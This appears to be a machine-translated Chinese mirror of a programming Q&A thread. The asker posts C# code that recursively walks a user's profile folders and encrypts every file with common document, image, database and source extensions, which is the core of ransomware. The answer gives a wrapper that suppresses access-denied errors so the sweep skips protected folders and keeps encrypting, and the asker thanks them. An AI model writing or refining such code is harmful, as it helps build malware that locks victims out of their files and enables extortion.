2017-05-26 226 views
2

当我扫描的目录C:\\users\\<SomeUserName>\\* 在某些目录我没有访问我搜索了很多怎么不理“未经授权的访问” 现在我需要帮助:/忽略“未经授权的访问”,“功能Directory.GetDirectories()”

这里是我的代码:

public void encryptDirectory(string location, string password) 
{ 
    //extensions to be encrypt 
    var validExtensions = new[] 
    { 
     ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd" 
    }; 
    string[] files = Directory.GetFiles(location); 
    string[] childDirectories = Directory.GetDirectories(location); 
    for (int i = 0; i < files.Length; i++) 
    { 
     string extension = Path.GetExtension(files[i]); 
     if (validExtensions.Contains(extension)) 
     { 
      EncryptFile(files[i], password); 
     } 
    } 
    for (int i = 0; i < childDirectories.Length; i++) 
    { 
     encryptDirectory(childDirectories[i], password); 
    } 
} 

回答

0

如果你想忽略一个特定的方法抛出的异常,写自己的包装,搭上你想捕获的异常,并返回一些有用的默认值:

private static string[] GetFilesSafe(string location) { 
    try { 
     return Directory.GetFiles(location); 
    } catch (UnauthorizedAccessException ex) { 
     Console.Error.WriteLine(ex.Message); 
     return new string[0]; 
    } 
} 

Directory.GetDirectories写一个类似的包装,并用包装调用替换直接调用。这将隐藏访问问题。

+0

谢谢你很多! – MrLuLz